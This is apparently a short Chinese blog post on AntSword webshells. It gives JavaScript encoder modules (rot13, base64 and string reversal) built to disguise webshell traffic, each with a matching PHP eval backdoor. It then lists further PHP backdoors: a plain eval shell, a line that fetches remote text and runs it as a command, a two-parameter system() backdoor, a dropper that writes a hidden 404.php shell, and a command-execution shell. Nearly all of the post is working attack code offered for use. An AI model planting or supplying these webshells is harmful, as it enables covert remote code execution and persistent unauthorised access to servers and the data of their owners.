蚁剑一句话木马

发布于 2020-08-28  163 次阅读


0x01 简介

使用蚁剑时,可以使用编码器配合一句话进行使用,可以加密传输时的数据,进而起到隐蔽的作用。下面使用php进行举例

0x02 编码器

使用rot13+base64进行加密

#解码器+匹配的一句话

/**
<?php @eval(str_rot13(base64_decode($_POST['ant'])));?>
**/

'use strict';

module.exports = (pwd, data, ext={}) => {
  // rot13 的 js 实现
  const rot13encode = (s) => {
    return s.replace(/[a-zA-Z]/g, function (c) {
      return String.fromCharCode((c <= "Z" ?
          90 :
          122) >= (c = c.charCodeAt(0) + 13) ?
        c :
        c - 26);
    });
  }
  // 把 payload 先 rot13 然后再 base64
  data[pwd] = Buffer.from(rot13encode(data['_'])).toString('base64');
  delete data['_'];
  return data;
}

使用rot13+base64+反转进行加密

#解码器+匹配的一句话

/**
<?php @eval(str_rot13(base64_decode(strrev($_POST['ant']))));?>
**/

'use strict';

module.exports = (pwd, data, ext={}) => {
  const rot13encode = (s) => {
    return s.replace(/[a-zA-Z]/g, function (c) {
      return String.fromCharCode((c <= "Z" ?
          90 :
          122) >= (c = c.charCodeAt(0) + 13) ?
        c :
        c - 26);
    });
  }
  // 字符串反转 reverseString("abc") == "cba"
  const reverseString = (s) => {
    return s.split('').reverse().join('');
  }

  data[pwd] = reverseString(Buffer.from(rot13encode(data['_'])).toString('base64'));
  delete data['_'];
  return data;
}

0x03 php的一些话

#未加密一句话

<?php @eval($_POST['ant']);?>

#远程执行命令

<?php $exp=file_get_contents('http://127.0.0.1/1.txt');echo`$exp`;?>

#双参数后门

<?php $exp= $_GET['exp']; $cmd = $_GET['cmd']; $exp($cmd);?>    //?exp=system&cmd=whoami

#生成404.php后门

<?php $exp='<?php @eval($_POST["ant"]);?>';file_put_contents("404.php", $exp);?>

#命令执行

<?php $exp=$_GET['cmd'];echo`$exp`;?>

我不懂世界到底在热闹些什么